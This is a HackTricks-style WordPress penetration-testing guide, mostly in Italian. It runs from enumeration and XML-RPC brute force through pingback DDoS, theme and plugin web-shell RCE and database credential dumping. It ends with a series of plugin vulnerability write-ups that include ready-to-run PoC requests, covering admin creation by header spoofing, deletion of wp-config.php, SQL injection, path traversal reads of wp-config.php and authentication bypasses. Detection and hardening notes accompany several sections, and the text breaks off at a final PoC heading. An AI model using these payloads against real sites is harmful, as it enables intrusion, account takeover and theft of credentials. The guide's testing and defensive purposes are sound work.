Wordpress

Reading time: 33 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

  • Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, quindi se modifichi del php del tema per ottenere RCE probabilmente userai quel percorso. Per esempio: Usando theme twentytwelve puoi access il file 404.php in: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • In wp-config.php puoi trovare la password root del database.

  • Percorsi di login di default da controllare: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

File principali di WordPress

  • index.php
  • license.txt contiene informazioni utili come la versione di WordPress installata.
  • wp-activate.php viene usato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.
  • Cartelle di login (possono essere rinominate per nasconderle):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php è un file che rappresenta una funzionalità di WordPress che permette di trasmettere dati usando HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress REST API.
  • La cartella wp-content è la directory principale dove sono memorizzati plugin e theme.
  • wp-content/uploads/ è la directory dove vengono conservati i file caricati sulla piattaforma.
  • wp-includes/ è la directory dove sono archiviati i file core, come certificati, font, file JavaScript e widget.
  • wp-sitemap.xml Nelle versioni di WordPress 5.5 e successive, WordPress genera un file sitemap XML con tutti i post pubblici e i post type e le tassonomie pubblicamente interrogabili.

Post exploitation

  • Il file wp-config.php contiene le informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, le chiavi di autenticazione e i salt, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, utile per il troubleshooting.

Permessi utenti

  • Amministratore
  • Editor: Pubblica e gestisce i propri e gli altrui post
  • Author: Pubblica e gestisce i propri post
  • Contributor: Scrive e gestisce i propri post ma non può pubblicarli
  • Subscriber: Visualizza i post e modifica il proprio profilo

Enumerazione passiva

Ottenere la versione di WordPress

Controlla se riesci a trovare i file /license.txt o /readme.html

All'interno del codice sorgente della pagina (esempio da https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • File di collegamento CSS

  • File JavaScript

Ottieni plugin

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Ottenere temi

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Estrarre le versioni in generale

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Enumerazione attiva

Plugins and Themes

Probabilmente non riuscirai a trovare tutti i Plugins and Themes disponibili. Per scoprirli tutti, dovrai eseguire attivamente un Brute Force su una lista di Plugins and Themes (per nostra fortuna esistono strumenti automatici che contengono queste liste).

Utenti

  • ID Brute: Ottieni utenti validi da un sito WordPress effettuando un Brute Forcing degli ID utente:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Se le risposte sono 200 o 30X, significa che l'id è valido. Se la risposta è 400, allora l'id è non valido.

  • wp-json: Puoi anche provare a ottenere informazioni sugli utenti interrogando:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Un altro endpoint /wp-json/ che può rivelare alcune informazioni sugli utenti è:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Nota che questo endpoint espone solo utenti che hanno pubblicato un post. Verranno fornite solo informazioni sugli utenti che hanno questa funzionalità abilitata.

Also note that /wp-json/wp/v2/pages could leak IP addresses.

  • Login username enumeration: Quando effettui il login in /wp-login.php il messaggio è diverso e indica se lo username esiste o meno.

XML-RPC

Se xml-rpc.php è attivo puoi eseguire un brute-force delle credenziali o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo usando questo per esempio).

Per verificare se è attivo prova ad accedere a /xmlrpc.php e invia questa richiesta:

Controlla

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs sono alcuni dei metodi che possono essere usati per eseguire brute-force sulle credentials. Se riesci a trovare uno di essi puoi inviare qualcosa del tipo:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Il messaggio "Incorrect username or password" all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.

Usando le credenziali corrette puoi caricare un file. Nella risposta apparirà il percorso (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Esiste anche un modo più veloce per brute-force delle credenziali usando system.multicall poiché puoi provare diverse credenziali nella stessa richiesta:

Bypass 2FA

Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai creds validi ma l'accesso principale è protetto da 2FA, potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quegli creds bypassando la 2FA. Nota che non potrai eseguire tutte le azioni che puoi fare tramite il pannello, ma potresti comunque arrivare a RCE come spiega Ippsec in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

Se riesci a trovare il metodo pingback.ping nella lista puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.
Questo può essere usato per chiedere a migliaia di siti Wordpress di accedere a una stessa destinazione (causando così un DDoS in quella location) oppure puoi usarlo per far scansionare a Wordpress una rete interna (puoi indicare qualsiasi porta).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Se ottieni faultCode con un valore maggiore di 0 (17), significa che la porta è aperta.

Dai un'occhiata all'uso di system.multicall nella sezione precedente per imparare come abusare di questo metodo per causare un DDoS.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Questo file di solito esiste nella root del sito Wordpress: /wp-cron.php
Quando questo file viene accessed viene eseguita una "heavy" MySQL query, quindi può essere usato da attackers per cause un DoS.
Inoltre, di default, wp-cron.php viene chiamato ad ogni page load (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).

Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).

/wp-json/oembed/1.0/proxy - SSRF

Prova ad accedere a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net e il Worpress site potrebbe fare una richiesta verso di te.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Questo strumento verifica se è presente la methodName: pingback.ping e il percorso /wp-json/oembed/1.0/proxy e, se esistono, prova a exploit-are them.

Strumenti automatici

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Ottenere l'accesso sovrascrivendo un bit

Più che un vero attacco, è una curiosità. Nel CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man si poteva flipare 1 bit di qualsiasi file wordpress. Quindi si poteva flipare la posizione 5389 del file /var/www/html/wp-includes/user.php per trasformare in NOP l'operazione NOT (!).

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Pannello RCE

Modifica di un php del tema usato (credenziali admin necessarie)

Aspetto → Editor tema → Template 404 (a destra)

Modifica il contenuto con una php shell:

Cerca su internet come accedere a quella pagina aggiornata. In questo caso devi accedere qui: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Puoi usare:

bash
use exploit/unix/webapp/wp_admin_shell_upload

per ottenere una sessione.

RCE del plugin

plugin PHP

Potrebbe essere possibile caricare file .php come plugin.
Crea il tuo php backdoor usando ad esempio:

Poi aggiungi un nuovo plugin:

Carica il plugin e premi Install Now:

Clicca su Procced:

Probabilmente apparentemente non farà nulla, ma se vai su Media vedrai la tua shell caricata:

Accedendovi vedrai l'URL per eseguire la reverse shell:

Uploading and activating malicious plugin

Questo metodo prevede l'installazione di un plugin maligno noto per essere vulnerabile e sfruttabile per ottenere una web shell. Il processo viene eseguito tramite la dashboard di WordPress come segue:

  1. Plugin Acquisition: Il plugin viene ottenuto da una fonte come Exploit DB come here.
  2. Plugin Installation:
  • Vai alla WordPress dashboard, poi vai a Dashboard > Plugins > Upload Plugin.
  • Carica il file zip del plugin scaricato.
  1. Plugin Activation: Una volta installato con successo, deve essere attivato tramite la dashboard.
  2. Exploitation:
  • Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
  • Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, è possibile stabilire una sessione meterpreter, ottenendo accesso non autorizzato al sito.
  • Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.

Il contenuto include elementi visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza un'autorizzazione adeguata. Queste informazioni devono essere usate responsabilmente e solo in un contesto legale, come il penetration testing con permesso esplicito.

Per passaggi più dettagliati consulta: https://www.hackingarticles.in/wordpress-reverse-shell/

Da XSS a RCE

  • WPXStrike: WPXStrike è uno script progettato per scalare una vulnerabilità di Cross-Site Scripting (XSS) a Remote Code Execution (RCE) o altre vulnerabilità critiche in WordPress. Per maggiori informazioni vedi this post. Fornisce supporto per Wordpress Versions 6.X.X, 5.X.X and 4.X.X. e consente di:
  • Privilege Escalation: Crea un utente in WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Carica il tuo plugin personalizzato (backdoor) su WordPress.
  • (RCE) Built-In Plugin Edit: Modifica plugin built-in in WordPress.
  • (RCE) Built-In Theme Edit: Modifica temi built-in in WordPress.
  • (Custom) Custom Exploits: Exploit personalizzati per plugin/temi di terze parti di WordPress.

Post Exploitation

Estrai username e password:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Cambia la password dell'amministratore:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Superficie d'attacco

Sapere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nella sua funzionalità. Puoi vedere come un plugin potrebbe esporre funzionalità nei punti seguenti e alcuni esempi di plugin vulnerabili in this blog post.

  • wp_ajax

Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite gestori AJAX. Questi possono contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un Wordpress nonce che qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere (indipendentemente dal suo ruolo).

Queste sono le funzioni che possono essere usate per esporre una funzione in un plugin:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

L'uso di nopriv rende l'endpoint accessibile a qualsiasi utente (anche non autenticato).

caution

Inoltre, se la funzione verifica soltanto l'autorizzazione dell'utente tramite la funzione wp_verify_nonce, questa funzione controlla solo che l'utente sia autenticato; di solito non verifica il ruolo dell'utente. Quindi utenti con privilegi bassi potrebbero avere accesso ad azioni riservate a utenti con privilegi elevati.

  • REST API

È anche possibile esporre funzioni di WordPress registrando una REST API usando la funzione register_rest_route:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

Il permission_callback è una callback a una funzione che verifica se un determinato utente è autorizzato a chiamare il metodo API.

Se viene usata la funzione integrata __return_true, salterà semplicemente il controllo delle autorizzazioni utente.

  • Accesso diretto al file php

Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, nel caso in cui un plugin esponga una funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Alcuni plugin implementano scorciatoie di “trusted header” per integrazioni interne o reverse proxy e poi usano quell'header per impostare il contesto dell'utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente upstream, un attaccante può falsificarlo e colpire route REST privilegiate come amministratore.

  • Impact: elevazione di privilegi non autenticata a amministratore creando un nuovo account amministratore tramite la core users REST route.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (forza l'ID utente 1, tipicamente il primo account amministratore).
  • Exploited route: POST /wp-json/wp/v2/users con un array ruolo elevato.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Why it works

  • Il plugin mappa un header controllato dal client allo stato di autenticazione e bypassa i controlli di capability.
  • WordPress core si aspetta la capability create_users per questa route; il plugin la bypassa impostando direttamente il contesto dell'utente corrente a partire dall'header.

Expected success indicators

  • HTTP 201 con un body JSON che descrive l'utente creato.
  • Un nuovo utente admin visibile in wp-admin/users.php.

Detection checklist

  • Grep for getallheaders(), $_SERVER['HTTP_...'], or vendor SDKs that read custom headers to set user context (e.g., wp_set_current_user(), wp_set_auth_cookie()).
  • Revisiona le registrazioni REST per callback privilegiate che non hanno solidi controlli permission_callback e che invece si basano sugli header della richiesta.
  • Cerca l'uso di funzioni core di gestione utenti (wp_insert_user, wp_create_user) all'interno di handler REST che sono vincolati solo dai valori degli header.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:

  1. A capability check (e.g. current_user_can() or at least is_user_logged_in()), and
  2. A CSRF nonce validated with check_ajax_referer() / wp_verify_nonce(), and
  3. Strict input sanitisation / validation.

Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella funzionalità Remove Font Family e ha finito per distribuire il seguente codice (semplificato):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Issues introduced by this snippet:

  • Accesso non autenticato – the wp_ajax_nopriv_ hook is registered.
  • Nessun nonce / capability check – qualsiasi visitatore può raggiungere l'endpoint.
  • Nessuna sanificazione del percorso – la stringa controllata dall'utente fontfamily viene concatenata a un percorso del filesystem senza filtraggio, consentendo il classico traversal ../../.

Sfruttamento

Un attaccante può eliminare qualsiasi file o directory al di sotto della directory base uploads (normalmente <wp-root>/wp-content/uploads/) inviando una singola richiesta HTTP POST:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Poiché wp-config.php risiede al di fuori della cartella uploads, quattro sequenze ../ sono sufficienti in un'installazione predefinita. Cancellare wp-config.php forza WordPress nella procedura di installazione alla visita successiva, abilitando un full site take-over (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente admin).

Altri target rilevanti includono i file .php di plugin/tema (per compromettere plugin di sicurezza) o le regole .htaccess.

Detection checklist

  • Qualsiasi callback add_action( 'wp_ajax_nopriv_...') che chiami helper del filesystem (copy(), unlink(), $wp_filesystem->delete(), ecc.).
  • Concatenazione di input utente non sanitizzato nei percorsi (cerca $_POST, $_GET, $_REQUEST).
  • Assenza di check_ajax_referer() e current_user_can()/is_user_logged_in().

Privilege escalation via ripristino di ruoli obsoleti e autorizzazione mancante (ASE "View Admin as Role")

Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando il/i ruolo/i originale/i nei user meta in modo che possano essere ripristinati successivamente. Se il percorso di ripristino si basa soltanto su parametri della richiesta (es., $_REQUEST['reset-for']) e su una lista mantenuta dal plugin senza verificare le capabilities e un nonce valido, questo diventa una vertical privilege escalation.

Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su reset-for=<username> se lo username appariva in un array interno $options['viewing_admin_as_role_are'], ma non eseguiva né un controllo current_user_can() né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati nei user meta _asenha_view_admin_as_original_roles:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Perché è sfruttabile

  • Si fida di $_REQUEST['reset-for'] e di un'opzione del plugin senza autorizzazione lato server.
  • Se un utente in precedenza aveva privilegi maggiori salvati in _asenha_view_admin_as_original_roles e è stato degradato, può ripristinarli raggiungendo il percorso di reset.
  • In alcune installazioni, qualsiasi utente autenticato potrebbe avviare un reset per un altro username ancora presente in viewing_admin_as_role_are (controllo di autorizzazione difettoso).

Sfruttamento (esempio)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (es., administrator), elevando di fatto i privilegi.

Detection checklist

  • Cerca feature di role-switching che persistono i “ruoli originali” nei user meta (es., _asenha_view_admin_as_original_roles).
  • Identifica reset/restore paths che:
  • Leggono username da $_REQUEST / $_GET / $_POST.
  • Modificano i ruoli tramite add_role() / remove_role() senza current_user_can() e wp_verify_nonce() / check_admin_referer().
  • Autorizzano basandosi su un array di option del plugin (es., viewing_admin_as_role_are) invece che sulle capabilities dell'attore.

Escalation di privilegi non autenticata via cookie‑trusted user switching su public init (Service Finder “sf-booking”)

Alcuni plugin collegano gli user-switching helper all'hook pubblico init e ricavano l'identità da un cookie controllato dal client. Se il codice chiama wp_set_auth_cookie() senza verificare l'autenticazione, capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un ID utente arbitrario.

Pattern tipico vulnerabile (semplificato da Service Finder Bookings ≤ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Perché è sfruttabile

  • Il hook pubblico init rende il handler raggiungibile da utenti non autenticati (nessuna guardia is_user_logged_in()).
  • L'identità è ricavata da un cookie modificabile dal client (original_user_id).
  • Una chiamata diretta a wp_set_auth_cookie($uid) autentica il richiedente come quell'utente senza alcun controllo di capability/nonce.

Sfruttamento (non autenticato)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

Considerazioni WAF per WordPress/plugin CVEs

Generic edge/server WAFs sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità WordPress/plugin ad alto impatto sono bug di logica/auth specifici dell'applicazione che sembrano traffico benigno a meno che il motore non capisca le route di WordPress e la semantica dei plugin.

Offensive notes

  • Target plugin-specific endpoints with clean payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Exercise unauth paths first (AJAX nopriv, REST with permissive permission_callback, public shortcodes). Default payloads often succeed without obfuscation.
  • Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive notes

  • Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
  • Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.

Protezione WordPress

Aggiornamenti regolari

Assicurati che WordPress, plugin e temi siano aggiornati. Conferma anche che l'aggiornamento automatico sia abilitato in wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Inoltre, installa solo plugin e temi WordPress affidabili.

Plugin di sicurezza

Altre raccomandazioni

  • Rimuovi l'utente predefinito admin
  • Usa password robuste e 2FA
  • Revisiona periodicamente i permessi degli utenti
  • Limita i tentativi di login per prevenire attacchi Brute Force
  • Rinomina il file wp-admin.php e consenti l'accesso solo internamente o da determinati indirizzi IP.

SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2)

Il plugin di recruitment WP Job Portal esponeva un task savecategory che alla fine esegue il seguente codice vulnerabile all'interno di modules/category/model.php::validateFormData():

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Problemi introdotti da questo snippet:

  1. Input utente non sanificatoparentid proviene direttamente dalla richiesta HTTP.
  2. Concatenazione di stringhe all'interno della clausola WHERE – nessun is_numeric() / esc_sql() / prepared statement.
  3. Accessibilità non autenticata – anche se l'azione è eseguita tramite admin-post.php, l'unico controllo presente è un CSRF nonce (wp_verify_nonce()), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode [wpjobportal_my_resumes].

Sfruttamento

  1. Prendi un nonce fresco:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Inietta SQL arbitrario abusando di parentid:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

La risposta rivela il risultato della query iniettata o modifica il database, dimostrando la vulnerabilità SQLi.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Un'altra task, downloadcustomfile, permetteva ai visitatori di scaricare qualsiasi file sul disco tramite path traversal. Il sink vulnerabile si trova in modules/customfield/model.php::downloadCustomUploadedFile():

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name è controllato dall'attaccante ed è concatenato senza sanitisation. Di nuovo, l'unica barriera è una CSRF nonce che può essere recuperata dalla pagina resume.

Exploitation

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Il server risponde con il contenuto di wp-config.php, leaking DB credentials and auth keys.

Compromissione di account non autenticata via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Molti theme/plugin distribuiscono helper per "social login" esposti tramite admin-ajax.php. Se un'azione AJAX non autenticata (wp_ajax_nopriv_...) si fida di identificatori forniti dal client quando mancano i dati del provider e poi invoca wp_set_auth_cookie(), questo diventa un full authentication bypass.

Pattern tipico difettoso (semplificato)

php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Perché è sfruttabile

  • Accessibile senza autenticazione tramite admin-ajax.php (azione wp_ajax_nopriv_…).
  • Mancano controlli nonce/capability prima di modificare lo stato.
  • Mancata verifica del provider OAuth/OpenID; il ramo di default accetta l'input dell'attaccante.
  • get_user_by('email', $_POST['id']) seguito da wp_set_auth_cookie($uid) autentica il richiedente come qualsiasi indirizzo email esistente.

Sfruttamento (senza autenticazione)

  • Prerequisiti: l'attaccante può raggiungere /wp-admin/admin-ajax.php e conosce/indovina un'email utente valida.
  • Impostare provider su un valore non supportato (o ometterlo) per raggiungere il ramo di default e passare id=<victim_email>.
http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
  • Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

  • Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
  • Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.

Detection checklist

  • Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=.
  • 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.

Hardening

  • Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
  • Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
  • Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
  • Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.

Patched behaviour (Jobmonster 4.8.0)

  • Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).

Escalation di privilegi non autenticata tramite minting di token/chiavi REST su identità prevedibile (OttoKit/SureTriggers ≤ 1.0.82)

Alcuni plugin espongono endpoint REST che mintano reusable “connection keys” o token senza verificare le capability del chiamante. Se la route autentica solo su un attributo prevedibile (es., username) e non vincola la key a un utente/sessione con controlli di capability, un attacker non autenticato può mintare una key e invocare azioni privilegiate (creazione account admin, azioni del plugin → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: presa completa del controllo concatenando la key mintata ad azioni privilegiate interne

PoC – generare una connection key e usarla
